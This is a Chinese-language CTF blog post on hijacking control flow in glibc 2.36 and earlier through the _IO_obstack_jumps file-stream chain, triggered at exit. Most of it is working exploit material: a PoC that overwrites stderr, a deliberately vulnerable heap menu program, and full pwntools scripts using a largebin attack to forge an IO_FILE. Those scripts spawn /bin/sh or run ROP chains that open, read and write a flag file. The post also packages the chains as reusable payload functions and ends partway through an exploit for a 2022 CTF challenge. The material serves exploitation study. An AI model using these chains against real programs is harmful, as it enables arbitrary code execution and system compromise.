GLIBC2.36利用obstack去劫持执行流

发布时间 2023-04-20 23:35:51作者: 何思泊河

GLIBC2.36中利用obstack去劫持执行流

作者没有起名字,可能就是跟house of apple太相似了 ,就是roderick师傅提出的house of apple中没有发现的一个链,个人感觉就是house of apple跟house of banana的一个结合(说实话这两个我已经快忘了怎么用的了所以会将这个攻击封装成几个函数以应对不同的场景),用的类似apple的链攻击效果跟banana一样,如果只能打orw其实都是一样的,但是在2.37中不能使用了,2.36及以下还是可以用的

前置知识

io_file结构体

_IO_FILE结构体包含了描述文件流状态的各种信息,如文件位置指针、缓冲区、文件打开模式、文件描述符等等

struct _IO_FILE {
      int _flags;
    #define _IO_file_flags _flags

    char* _IO_read_ptr;   /* Current read pointer */ 
    char* _IO_read_end;   /* End of get area. */
    char* _IO_read_base;  /* Start of putback+get area. */
    char* _IO_write_base; /* Start of put area. */
    char* _IO_write_ptr;  /* Current put pointer. */
    char* _IO_write_end;  /* End of put area. */
    char* _IO_buf_base;   /* Start of reserve area. */
    char* _IO_buf_end;    /* End of reserve area. */
    /* The following fields are used to support backing up and undo. */
    char *_IO_save_base; /* Pointer to start of non-current get area. */
    char *_IO_backup_base;  /* Pointer to first valid character of backup area */
    char *_IO_save_end; /* Pointer to end of non-current get area. */

    struct _IO_marker *_markers;

    struct _IO_FILE *_chain;

    int _fileno;
#if 0
    int _blksize;
#else
    int _flags2;
#endif
    _IO_off_t _old_offset;  /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN   /* temporary */
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];

    /*  char* _save_gptr;  char* _save_egptr; */
    _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
_IO_jump_t

就是一个存放各种函数指针的虚表,而这些函数则分别为对应文件流的各种操作,如读、写、定位、刷新等, 当我们对一个文件对象fp进行操作时,往往会使用到_IO_jump_t结构体内某一函数。

对应结构体如下

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};
_IO_FILE_plus结构体

_IO_FILE_plus中包含了_IO_FILE和_IO_jump_t

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

调用链

漏洞函数调用链

  • _IO_obstack_xsputn
  • obstack_grow (一个宏定义)
    • _obstack_newchunk
    • CALL_CHUNKFUN (一个宏定义)
      • (*(h)->chunkfun)((h)->extra_arg, (size))

从exit去触发到攻击的整个流程

exit
__run_exit_handlers
fcloseall
_IO_cleanup
_IO_flush_all_lockp
_IO_obstack_xsputn
obstack_grow
_obstack_newchunk
CALL_CHUNKFUN(一个宏定义)
(*(h)->chunkfun)((h)->extra_arg, (size))

调用过程经过的函数

_IO_obstack_xsputn

_IO_obstack_xsputn (FILE *fp, const void *data, size_t n)
{
  struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;

  if (fp->_IO_write_ptr + n > fp->_IO_write_end) // `一个检查` 这个n是1
    {
      int size;

      /* We need some more memory.  First shrink the buffer to the
	 space we really currently need.  */
      obstack_blank_fast (obstack, fp->_IO_write_ptr - fp->_IO_write_end);
      //相当于#define obstack_blank_fast(h, n) ((h)->next_free += (n))
      //obstack就是fp next就是偏移为0x18的位置

      /* Now grow for N bytes, and put the data there.  */
      obstack_grow (obstack, data, n);

      /* Setup the buffer pointers again.  */
      fp->_IO_write_base = obstack_base (obstack);
      fp->_IO_write_ptr = obstack_next_free (obstack);
      size = obstack_room (obstack);
      fp->_IO_write_end = fp->_IO_write_ptr + size;
      /* Now allocate the rest of the current chunk.  */
      obstack_blank_fast (obstack, size);
    }
  else
    fp->_IO_write_ptr = __mempcpy (fp->_IO_write_ptr, data, n);

  return n;
}

obstack_grow

# define obstack_grow(OBSTACK, where, length)				      \
  __extension__								      \
    ({ struct obstack *__o = (OBSTACK);					      \
       int __len = (length);						      \
       if (__o->next_free + __len > __o->chunk_limit)	\  
//有一个检查(__o->next_free + __len > __o->chunk_limit)   
//next_free 的偏移是0x18    chunk_limit在obstack中的偏移是0x20

	 _obstack_newchunk (__o, __len);				      \  //进入这个函数
       memcpy (__o->next_free, where, __len);				      \
       __o->next_free += __len;						      \
       (void) 0; })

_obstack_newchunk

void
_obstack_newchunk (struct obstack *h, int length)
{
  struct _obstack_chunk *old_chunk = h->chunk;
  struct _obstack_chunk *new_chunk;
  long new_size;
  long obj_size = h->next_free - h->object_base;
  long i;
  long already;
  char *object_base;

  /* Compute size for new chunk.  */
  new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
  if (new_size < h->chunk_size)
    new_size = h->chunk_size;

  /* Allocate and initialize the new chunk.  */
  new_chunk = CALL_CHUNKFUN (h, new_size);  //执行CALL_CHUNKFUN
  [...]
}

CALL_CHUNKFUN


# define CALL_CHUNKFUN(h, size) \
  (((h)->use_extra_arg)							      \
   ? (*(h)->chunkfun)((h)->extra_arg, (size))		//这里会检查在chunk+0x50出的值是否等于1,这里我让它为1就可以了\
   : (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))

布局&&检查

这个调用调用链需要绕过的检查很少

1、首先就是在调用exit()时可以调用_IO_OVERFLOW只有这样我们的vtable才派的上用处,我们需要fp->_IO_write_ptr > fp->_IO_write_base

2、在_IO_obstack_xsputn中检查fp->_IO_write_ptr + n > fp->_IO_write_end就是1,并且在下面还会对next_free进行加一

3、在obstack_grow 中检查next_free + __len > obstack->chunk_limit我在调试时__len是1 一般情况下设置chunk_limit为0便可

4、obstack->use_extra_arg==1不为1也可以call rax但是不能控制参数rdi,如果打一个orw就无所谓了

也就是我们需要满足下面的条件才能触发攻击

  • 利用largebin attack伪造_IO_FILE,记完成伪造的chunkA(或者别的手法)
  • chunk A内偏移为0xd8处设为_IO_obstack_jumps+0x20
  • chunk A内偏移为0xe0处设置chunk A的地址作为obstack结构体
  • obstack内偏移为0x18处设为1(next_free)
  • obstack内偏移为0x20处设为0(chunk_limit
  • obstack内偏移为0x48处设为/bin/sh
  • obstack内偏移为0x38处设为system函数的地址
  • chunk A内偏移为0x28处设为1(_IO_write_ptr)
  • chunk A内偏移为0x30处设为0 (_IO_write_end)
  • obstack内偏移为0x50处设为1 (use_extra_arg)

poc

//glibc 2.35 
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char bin_sh_addr[0x10];

void backdoor(char *cmd)
{
  puts("OHHH!HACKER!!!");
  puts("HERE IS U SHELL!");
  system(cmd);
}
int main()
{

	long long int *IO_2_1_stderr;
    long long int IO_obstack_jumps;
	strcpy(bin_sh_addr,"/bin/sh");

	printf("start!\n");
    long long int libc_base=&printf-0x60770;
	printf("libc_base --------> %llx\n",libc_base);

	IO_2_1_stderr = libc_base + 0x21a6a0;
    printf("IO_2_1_stderr --------> %llx\n",IO_2_1_stderr);
	IO_obstack_jumps = libc_base + 0x2163c0;
    printf("IO_obstack_jumps --------> %llx\n",IO_obstack_jumps);
	*(IO_2_1_stderr + (0x28/8)) = 0x1;
	*(IO_2_1_stderr + (0x30/8)) = 0;
	*(IO_2_1_stderr + (0x18/8)) = 1;
	*(IO_2_1_stderr + (0x20/8)) = 0;
	*(IO_2_1_stderr + (0x50/8)) = 1;
	*(IO_2_1_stderr + (0xd8/8)) = IO_obstack_jumps+0x20;
	*(IO_2_1_stderr + (0xe0/8)) = IO_2_1_stderr;
	*(IO_2_1_stderr + (0x38/8)) = (long long*)(&backdoor);
	*(IO_2_1_stderr + (0x48/8)) = bin_sh_addr;

	return 0;
}
//0x885ac    0x885c9     0xa773eq

例题

就不在找例题了用之前house of banana的那个题做一下,用两种方法做一下

//gcc test.c -o test -w -g
//ubuntu 18.04     GLIBC 2.27-3ubuntu1.6
#include<stdio.h> 
#include <unistd.h> 
#define num 10
void *chunk_list[num];
int chunk_size[num];
void backdoor(char *cmd)
{
  puts("OHHH!HACKER!!!");
  puts("HERE IS U SHELL!");
  system(cmd);
}
void init()
{
	setbuf(stdin, 0);
	setbuf(stdout, 0);
	setbuf(stderr, 0);
}

void menu()
{
	puts("1.add");
	puts("2.edit");
	puts("3.show");
	puts("4.delete");
	puts("5.exit");
	puts("Your choice:");
}


int add()
{
	int index,size;
	puts("index:");
	scanf("%d",&index);
	if(index<0 || index>=num)
		exit(1);
	puts("Size:");
	scanf("%d",&size);
	if(size<0x80||size>0x500)
		exit(1);
	chunk_list[index] = calloc(size,1);
  chunk_size[index] = size;
}

int edit()
{
	int index;
	puts("index:");
	scanf("%d",&index);
	if(index<0 || index>=num)
		exit(1);
	puts("context: ");
	read(0,chunk_list[index],chunk_size[index]);
}

int delete()
{
	int index;
	puts("index:");
	scanf("%d",&index);
	if(index<0 || index>=num)
		exit(1);
		
	free(chunk_list[index]);
}

int show()
{
	int index;
	puts("index:");
	scanf("%d",&index);
	if(index<0 || index>=num)
		exit(1);
		
	puts("context: ");
	puts(chunk_list[index]);
}


int main()
{
	int choice;
	init();
	while(1){
		menu();
		scanf("%d",&choice);
		if(choice==5){
			exit(0);
		}
		else if(choice==1){
			add();
		}
		else if(choice==2){
			show();
		}
		else if(choice==3){
			edit();
		}
		else if(choice==4){
			delete();
		}
	}
}


方法一

跟上面的poc差不多,这里不考虑是否栈对齐,如果没对齐,还不如打orw,因为控制不了rbp 想要改变栈帧就太过于麻烦,也就是说上面的例题如果开启pie不如打orw,

exp

from tools import*
p,e,libc=load('poc')
context(os='linux', arch='amd64', log_level='debug')
# add_p=0x13EC
# show_p=0x1620
# edit_p=0x14E7
# delete_p=0x157C
add_p=0x4013d9
edit_p=0x4014d4
delete_p=0x401569
show_p=0x40160d
def add(index,size):
    p.sendlineafter('Your choice:','1')
    p.sendlineafter("index:\n",str(index))
    p.sendlineafter("Size:",str(size))
def show(index):
    p.sendlineafter('Your choice:','2')
    p.sendlineafter("index:\n",str(index))
def edit(index,content):
    p.sendlineafter('Your choice:','3')
    p.sendlineafter("index:\n",str(index))
    p.sendafter("context: \n",content)
def delete(index):
    p.sendlineafter('Your choice:','4')
    p.sendlineafter("index:\n",str(index))
def exit():
    p.sendlineafter('Your choice:','5')




add(0,0x420)
add(1,0x500)   #padding
add(2,0x418)
delete(0)
add(3,0x500)   #padding


show(0)
a=p.recv(10)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x21a0d0
log_addr('libc_base')
debug(p,add_p,edit_p,delete_p)
edit(0,'a'*0x10)
show(0)
p.recvuntil('a'*0x10)   #chunk 0 addr
leak_heap=u64(p.recv(4)[0:5].ljust(8,b'\x00'))
log_addr('leak_heap')

IO_list_all=libc_base+0x21a680
IO_obstack_jump=libc_base+0x2163c0


edit(0,b'a'*0x18+p64(IO_list_all-0x20))
delete(2)
# trigger large bin attack 
add(4,0x500)
ret=libc_base+0x00000000000d22ce   #  mov bh, 0x83 ; ret
#Falsified io_file structures
system=0x401236
bin_sh=leak_heap+0xa28
io_file=p64(0)   #  io_read_end
io_file+=p64(1)  # obstack->next_free
io_file+=p64(0)  # io_write_base
io_file+=p64(1)  # io_write_ptr
io_file+=p64(0)  # io_write_end
io_file+=p64(system)  #rax
io_file+=p64(0)  # _io_buf_end
io_file+=p64(bin_sh)  #rdi
io_file+=p64(1)  # use_extra_arg    19+4=23
io_file+=p64(0)*16
io_file+=p64(IO_obstack_jump+0x20)   #vtable
io_file+=p64(leak_heap+0x940) #obstack         +0xb8   +0xd8
io_file+=b'/bin/sh\x00'
#io_file+=p64(0)*2
#io_file+=p64(1)  # obstack->next_free
#io_file+=p64(0)  #obstack->chunk_limit
#io_file+=p64(ret)  #rax
#io_file+=p64(system)  # 
#io_file+=p64(bin_sh) #rdi
#io_file+=p64(1)  #use_extra_arg 
edit(2,io_file)

p.sendlineafter('Your choice:','5')
p.interactive()
#0xa772f   0xa7734    0x885cd

方法二

打一个orw因为现在高版本的题都会开启沙箱,相比之下更喜欢这种,不用考虑栈对齐。

方法跟上面的差不多,就是多了一个利用svcudp_reply控制rbp在结合add rsp 0x58去执行orw的过程

这个orw我在这里写了三种,第一种就是常规的,

第二种就是利用openat替换open(防止禁用open),

第三种就是在第二种的基础上关闭标准输入流利用那个0作为flag的文件描述符(这个是为了防止本地打通远程打不通)

第二,三只给了io_file和orw

exp

from tools import*
p,e,libc=load('poc')
context(os='linux', arch='amd64', log_level='debug')
add_p=0x13EC
show_p=0x1620
edit_p=0x14E7
delete_p=0x157C
# add_p=0x4013d9
# edit_p=0x4014d4
# delete_p=0x401569
# show_p=0x40160d
def add(index,size):
    p.sendlineafter('Your choice:','1')
    p.sendlineafter("index:\n",str(index))
    p.sendlineafter("Size:",str(size))
def show(index):
    p.sendlineafter('Your choice:','2')
    p.sendlineafter("index:\n",str(index))
def edit(index,content):
    p.sendlineafter('Your choice:','3')
    p.sendlineafter("index:\n",str(index))
    p.sendafter("context: \n",content)
def delete(index):
    p.sendlineafter('Your choice:','4')
    p.sendlineafter("index:\n",str(index))
def exit():
    p.sendlineafter('Your choice:','5')


add(0,0x420)
add(1,0x500)   #padding
add(2,0x418)
delete(0)
add(3,0x500)   #padding


show(0)
a=p.recv(10)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x21a0d0
log_addr('libc_base')

edit(0,'a'*0x10)
show(0)
p.recvuntil('a'*0x10)   #chunk 0 addr
leak_heap=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('leak_heap')

IO_list_all=libc_base+0x21a680
IO_obstack_jump=libc_base+0x2163c0
reply=libc_base+0x16a1fa
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
leave_ret=libc_base+0x00000000000562ec
add_rsp=libc_base+0x0000000000116115
open=libc_base+0x114690
read=libc_base+0x114980
write=libc_base+0x114a20



edit(0,b'a'*0x18+p64(IO_list_all-0x20))
delete(2)
# trigger large bin attack 
add(4,0x500)
ret=libc_base+0x00000000000d22ce   #  mov bh, 0x83 ; ret
#Falsified io_file structures
system=0x401236
bin_sh=leak_heap+0xa28
flag=leak_heap+0xb32
io_file=p64(0)   #  io_read_end
io_file+=p64(1)  # obstack->next_free
io_file+=p64(0)  # io_write_base
io_file+=p64(1)  # io_write_ptr
io_file+=p64(0)  # io_write_end
io_file+=p64(reply)  #rax
io_file+=p64(0)  # _io_buf_end
io_file+=p64(leak_heap+0x940+0xd8)  #rdi
io_file+=p64(1)  # use_extra_arg    19+4=23
io_file+=p64(0)*16
io_file+=p64(IO_obstack_jump+0x20)   #vtable
io_file+=p64(leak_heap+0x940) #obstack         
io_file+=p64(add_rsp)      # ret
io_file+=p64(0)  

io_file+=p64(leak_heap+0x940+0xe0)                       #rax 
io_file+=p64(0)
io_file+=p64(leave_ret)    #second call 
io_file+=p64(0)*2
io_file+=p64(leak_heap+0x940+0xe0)  #rbp
io_file+=p64(leave_ret)        
# io_file+=p64(0)*2
# io_file+=p64(1)  # obstack->next_free
# io_file+=p64(0)  #obstack->chunk_limit
# io_file+=p64(ret)  #rax
# io_file+=p64(system)  # 
# io_file+=p64(bin_sh) #rdi
# io_file+=p64(1)  #use_extra_arg 


orw=p64(0xdeadbeef)*3
orw+=p64(pop_rdi)+p64(flag)
orw+=p64(pop_rsi)+p64(0)
orw+=p64(open)
orw+=p64(pop_rdi)+p64(3)
orw+=p64(pop_rsi)+p64(leak_heap+0x200)
orw+=p64(pop_rdx_r12)+p64(0x50)*2
orw+=p64(read)
orw+=p64(pop_rdi)+p64(1)
orw+=p64(pop_rsi)+p64(leak_heap+0x200)
orw+=p64(pop_rdx_r12)+p64(0x50)*2
orw+=p64(write)
orw+=b'./flag\x00\x00'

debug(p,'pie',add_p,edit_p,delete_p)
edit(2,io_file+orw)

p.sendlineafter('Your choice:','5')
p.interactive()
#0xa772f   0xa7734    0x885cd

orw

bin_sh=leak_heap+0xa28
flag=leak_heap+0xb32+0x8
io_file=p64(0)   #  io_read_end
io_file+=p64(1)  # obstack->next_free
io_file+=p64(0)  # io_write_base
io_file+=p64(1)  # io_write_ptr
io_file+=p64(0)  # io_write_end
io_file+=p64(reply)  #rax
io_file+=p64(0)  # _io_buf_end
io_file+=p64(leak_heap+0x940+0xd8)  #rdi
io_file+=p64(1)  # use_extra_arg    19+4=23
io_file+=p64(0)*16
io_file+=p64(IO_obstack_jump+0x20)   #vtable
io_file+=p64(leak_heap+0x940) #obstack         
io_file+=p64(add_rsp)      # ret
io_file+=p64(0)  

io_file+=p64(leak_heap+0x940+0xe0)                       #rax 
io_file+=p64(0)
io_file+=p64(leave_ret)    #second call 
io_file+=p64(0)*2
io_file+=p64(leak_heap+0x940+0xe0)  #rbp
io_file+=p64(leave_ret)        
# io_file+=p64(0)*2
# io_file+=p64(1)  # obstack->next_free
# io_file+=p64(0)  #obstack->chunk_limit
# io_file+=p64(ret)  #rax
# io_file+=p64(system)  # 
# io_file+=p64(bin_sh) #rdi
# io_file+=p64(1)  #use_extra_arg 


orw=p64(0xdeadbeef)*3
orw+=p64(pop_rsi)+p64(flag)
orw+=p64(pop_rdx_r12)+p64(0)*2
orw+=p64(openat)
orw+=p64(pop_rdi)+p64(3)
orw+=p64(pop_rsi)+p64(leak_heap+0x200)
orw+=p64(pop_rdx_r12)+p64(0x50)*2
orw+=p64(read)
orw+=p64(pop_rdi)+p64(1)
orw+=p64(pop_rsi)+p64(leak_heap+0x200)
orw+=p64(pop_rdx_r12)+p64(0x50)*2
orw+=p64(write)
orw+=b'/f/flag\x00'

IO_list_all=libc_base+0x21a680
IO_obstack_jump=libc_base+0x2163c0
reply=libc_base+0x16a1fa
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
leave_ret=libc_base+0x00000000000562ec
add_rsp=libc_base+0x0000000000116115
open=libc_base+0x114690
read=libc_base+0x114980
write=libc_base+0x114a20
close=libc_base+0x115100
openat=libc_base+0x114820

bin_sh=leak_heap+0xa28
flag=leak_heap+0xb32+0x8+0x18
io_file=p64(0)   #  io_read_end
io_file+=p64(1)  # obstack->next_free
io_file+=p64(0)  # io_write_base
io_file+=p64(1)  # io_write_ptr
io_file+=p64(0)  # io_write_end
io_file+=p64(reply)  #rax
io_file+=p64(0)  # _io_buf_end
io_file+=p64(leak_heap+0x940+0xd8)  #rdi
io_file+=p64(1)  # use_extra_arg    19+4=23
io_file+=p64(0)*16
io_file+=p64(IO_obstack_jump+0x20)   #vtable
io_file+=p64(leak_heap+0x940) #obstack         
io_file+=p64(add_rsp)      # ret
io_file+=p64(0)  

io_file+=p64(leak_heap+0x940+0xe0)                       #rax 
io_file+=p64(0)
io_file+=p64(leave_ret)    #second call 
io_file+=p64(0)*2
io_file+=p64(leak_heap+0x940+0xe0)  #rbp
io_file+=p64(leave_ret)        



orw=p64(0xdeadbeef)*3
orw+=p64(pop_rdi)+p64(0)
orw+=p64(close)
orw+=p64(pop_rsi)+p64(flag)
orw+=p64(pop_rdx_r12)+p64(0)*2
orw+=p64(openat)
orw+=p64(pop_rdi)+p64(0)
orw+=p64(pop_rsi)+p64(leak_heap+0x200)
orw+=p64(pop_rdx_r12)+p64(0x50)*2
orw+=p64(read)
orw+=p64(pop_rdi)+p64(1)
orw+=p64(pop_rsi)+p64(leak_heap+0x200)
orw+=p64(pop_rdx_r12)+p64(0x50)*2
orw+=p64(write)
orw+=b'/f/flag\x00'

封装成函数

为了防止像apple banana那种情况出现就把上面的布置封装成3种函数(3种使用场景),下次遇见可以打的题直接使用,这几个函数我放到了zikh师傅的tools中https://zikh26.github.io/posts/ad411136.html

第一种情况

1、程序中调用了system函数,(如果出现了栈没对齐的情况就放弃吧,因为不划算,不如orw)

2、到call那一步有可用onegadget

def obstack_attack(heap_addr:int,libc_symbol_address:dict)->bytes:
    '''
    传入的参数字典所需的符号为:system  io_obstack_jumps

    该io链似乎没有在House系列中有名字 姑且记为obstack_attack函数 该io链适用于glibc2.36及以下的攻击
    使用前提是泄露libc地址和堆地址 并且能任意地址写一个堆地址(最好是能往IO_list_all里写一个堆地址) 且能从main函数正常返回或者触发exit函数
    
    攻击效果是任意地址执行且rdi可控
    
    :param heap_addr:           伪造的IO_FILE结构体的chunk地址 (chunk头) (同时要把IO_list_all中写入这个chunk头的地址)
    :param libc_symbol_address: 传入进来的libc中符号地址的参数字典            
    
    :return: 构造好的payload

    '''
    io_file=p64(0)   #  io_read_end
    io_file+=p64(1)  # obstack->next_free
    io_file+=p64(0)  # io_write_base
    io_file+=p64(1)  # io_write_ptr
    io_file+=p64(0)  # io_write_end
    io_file+=p64(libc_symbol_address.system)  #rax
    io_file+=p64(0)  # _io_buf_end
    io_file+=p64(heap_addr+0xe8)  #rdi
    io_file+=p64(1)  # use_extra_arg
    io_file+=p64(0)*16
    io_file+=p64(libc_symbol_address.io_obstack_jumps+0x20)   #vtable
    io_file+=p64(heap_addr)   #obstack
    io_file+=b'/bin/sh\x00'
    return io_file

第二种就是常规的orw的做法,这里我只封装了两个,第一种就是常规的,第二个就是上面第三个orw,

def obstack_orw_attack(heap_addr,libc_symbols_address)->bytes:
    '''
    传入的参数字典所需的符号为:
    open;read;write 
    io_obstack_jumps;svcudp_reply;add_rsp 
    leave_ret;pop_rdi;pop_rsi;pop_rdx_xxx

    该io链依然是obstack这条 该函数可以在开启沙箱后执行orw读取出flag

    :param heap_addr:           伪造的IO_FILE结构体的chunk地址 (chunk头) (同时要把IO_list_all中写入这个chunk头的地址)
    :param libc_symbol_address: 传入进来的libc中符号地址的参数字典            
    
    :return: 构造好的payload
    
    svcudp_reply:是svcudp_reply+26的地址如下:
    <svcudp_reply+26>:    mov    rbp,QWORD PTR [rdi+0x48]
	<svcudp_reply+30>:    mov    rax,QWORD PTR [rbp+0x18]
	<svcudp_reply+34>:    lea    r13,[rbp+0x10]
	<svcudp_reply+38>:    mov    DWORD PTR [rbp+0x10],0x0
	<svcudp_reply+45>:    mov    rdi,r13
	<svcudp_reply+48>:    call   QWORD PTR [rax+0x28]
    '''

    flag=heap_addr+0x1f2
    io_file=p64(0)   #  io_read_end
    io_file+=p64(1)  # obstack->next_free
    io_file+=p64(0)  # io_write_base
    io_file+=p64(1)  # io_write_ptr
    io_file+=p64(0)  # io_write_end
    io_file+=p64(libc_symbols_address.svcudp_reply)  #rax
    io_file+=p64(0)  # _io_buf_end
    io_file+=p64(heap_addr+0xd8)  #rdi
    io_file+=p64(1)  # use_extra_arg    19+4=23
    io_file+=p64(0)*16
    io_file+=p64(libc_symbols_address.io_obstack_jumps+0x20)   #vtable
    io_file+=p64(heap_addr) #obstack         
    io_file+=p64(libc_symbols_address.add_rsp)      # ret
    io_file+=p64(0)  

    io_file+=p64(heap_addr+0xe0)                       #rax 
    io_file+=p64(0)
    io_file+=p64(libc_symbols_address.leave_ret)    #second call 
    io_file+=p64(0)*2
    io_file+=p64(heap_addr+0xe0)  #rbp
    io_file+=p64(libc_symbols_address.leave_ret)        



    orw=p64(0xdeadbeef)*3
    orw+=p64(libc_symbols_address.pop_rdi)+p64(flag)
    orw+=p64(libc_symbols_address.pop_rsi)+p64(0)
    orw+=p64(libc_symbols_address.open)
    orw+=p64(libc_symbols_address.pop_rdi)+p64(3)
    orw+=p64(libc_symbols_address.pop_rsi)+p64(heap_addr+0x200)
    orw+=p64(libc_symbols_address.pop_rdx_xxx)+p64(0x50)*2
    orw+=p64(libc_symbols_address.read)
    orw+=p64(libc_symbols_address.pop_rdi)+p64(1)
    orw+=p64(libc_symbols_address.pop_rsi)+p64(heap_addr+0x200)
    orw+=p64(libc_symbols_address.pop_rdx_xxx)+p64(0x50)*2
    orw+=p64(libc_symbols_address.write)
    orw+=b'./flag\x00\x00'
    return io_file+orw

def obstack_orw_attack(heap_addr,libc_symbols_address)->bytes:
    '''
    传入的参数字典所需的符号为:
    openat;read;write 
    io_obstack_jumps;svcudp_reply;add_rsp 
    leave_ret;pop_rdi;pop_rsi;pop_rdx_xxx

    该io链依然是obstack这条 该函数可以在开启沙箱后执行orw读取出flag,这次只不过是将open换成了openat 关闭了标准输入流把0当作了flag的文件描述符

    :param heap_addr:           伪造的IO_FILE结构体的chunk地址 (chunk头) (同时要把IO_list_all中写入这个chunk头的地址)
    :param libc_symbol_address: 传入进来的libc中符号地址的参数字典            
    
    :return: 构造好的payload
    
    svcudp_reply:是svcudp_reply+26的地址如下:
    <svcudp_reply+26>:    mov    rbp,QWORD PTR [rdi+0x48]
	<svcudp_reply+30>:    mov    rax,QWORD PTR [rbp+0x18]
	<svcudp_reply+34>:    lea    r13,[rbp+0x10]
	<svcudp_reply+38>:    mov    DWORD PTR [rbp+0x10],0x0
	<svcudp_reply+45>:    mov    rdi,r13
	<svcudp_reply+48>:    call   QWORD PTR [rax+0x28]
    '''

	flag=heap_addr+0x1f2+0x18
	io_file=p64(0)   #  io_read_end
	io_file+=p64(1)  # obstack->next_free
	io_file+=p64(0)  # io_write_base
	io_file+=p64(1)  # io_write_ptr
	io_file+=p64(0)  # io_write_end
	io_file+=p64(libc_symbols_address.svcudp_reply)  #rax
	io_file+=p64(0)  # _io_buf_end
	io_file+=p64(heap_addr+0xd8)  #rdi
	io_file+=p64(1)  # use_extra_arg    19+4=23
	io_file+=p64(0)*16
	io_file+=p64(IO_obstack_jump+0x20)   #vtable
	io_file+=p64(heap_addr) #obstack         
	io_file+=p64(libc_symbols_address.add_rsp)      # ret
	io_file+=p64(0)  

	io_file+=p64(heap_addr+0xe0)                       #rax 
	io_file+=p64(0)
	io_file+=p64(libc_symbols_address.leave_ret)    #second call 
	io_file+=p64(0)*2
	io_file+=p64(heap_addr+0xe0)  #rbp
	io_file+=p64(libc_symbols_address.leave_ret)        



	orw=p64(0xdeadbeef)*3
	orw+=p64(libc_symbols_address.pop_rdi)+p64(0)
	orw+=p64(close)
	orw+=p64(libc_symbols_address.pop_rsi)+p64(flag)
	orw+=p64(libc_symbols_address.pop_rdx_xxx)+p64(0)*2
	orw+=p64(libc_symbols_address.openat)
	orw+=p64(libc_symbols_address.pop_rdi)+p64(0)
	orw+=p64(libc_symbols_address.pop_rsi)+p64(heap_addr+0x200)
	orw+=p64(libc_symbols_address.pop_rdx_xxx)+p64(0x50)*2
	orw+=p64(libc_symbols_address.read)
	orw+=p64(libc_symbols_address.pop_rdi)+p64(1)
	orw+=p64(libc_symbols_address.pop_rsi)+p64(heap_addr+0x200)
	orw+=p64(libc_symbols_address.pop_rdx_xxx)+p64(0x50)*2
	orw+=p64(libc_symbols_address.write)
	orw+=b'/f/flag\x00'
    return io_file+orw

例题 柏鹭杯2022

在做一道题验证一下封装的函数好用不,这里只展现了使用第一个函数(利用system),其余几种也可以使用,而且只一个题也让我学到了一个新知识:在不能使用large bin attack (限制了申请的chunk的大小)时我们该如何任意地址写一个堆地址,(而且这一题没有edit函数),

做法就是利用fastbin打一个tcache posioning(这就需要知道出现tcache的版本中ptmalloc的流程,我之前只分析了2.23的,但之前学习tcache stashin unlink attack其实用到类似的攻击手法)

原理:

第一种是填满 tcache bin ,然后在 fastbin 中打 double free (先将 tcache bin 的堆块全部取出),因为 tcache bin 机制的优化,从 fastbin 中申请出来一个堆块,剩下的堆块都会进入 tcache bin ,刚申请出来时又在 tcache bin 中形成了 double free ,随后输入进去数据,完成了 tcache poisoning

第二种是 house of botcake(手法跟off by null中的非爆破的原理差不多,都是利用向后合并保存指针,在申请出来进行修改),该方法最后的效果也是打 tcache poisoning,但不需要用到 fastbin ,而需要用到 unsorted bin 。详情见 house of botcake

exp

from tools import *
# from tools import _Inner_Dict

p,e,libc=load('note2')
context(os='linux', arch='amd64', log_level='debug')
add_p=0x13CF
show_p=0x14B5

delete_p=0x146D
# add_p=0x4013d9
# edit_p=0x4014d4
# delete_p=0x401569
# show_p=0x40160d
def add(index,size,content):
    p.sendlineafter('>','1')
    p.sendlineafter('>',str(index))
    p.sendlineafter('>',str(size))
    p.sendlineafter("Enter content: ",content)
def show(index):
    p.sendlineafter('>','3')
    p.sendlineafter('>',str(index))


def delete(index):
    p.sendlineafter('>','2')
    p.sendlineafter('>',str(index))
def exit():
    p.sendlineafter('>','4')

for i in range(9):  # 0~8
    add(i,0x80,'a')
delete(0)

show(0)
a=p.recv(1)
leak_heap=u64(p.recv(6)[0:5].ljust(8,b'\x00'))<<12
log_addr('leak_heap')
for i in range(1,7):  # 0~6
    delete(i)

delete(7)


show(7)
a=p.recv(1)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x219ce0
log_addr('libc_base')


for i in range(8):  # 
    add(i,0x80,'a')


for i in range(10):  # 
    add(i,0x70,'a')

for i in range (7):
    delete(i)


delete(7)
delete(8)
delete(7)
for i in range(7):  # 0~7
    add(i,0x70,'a')
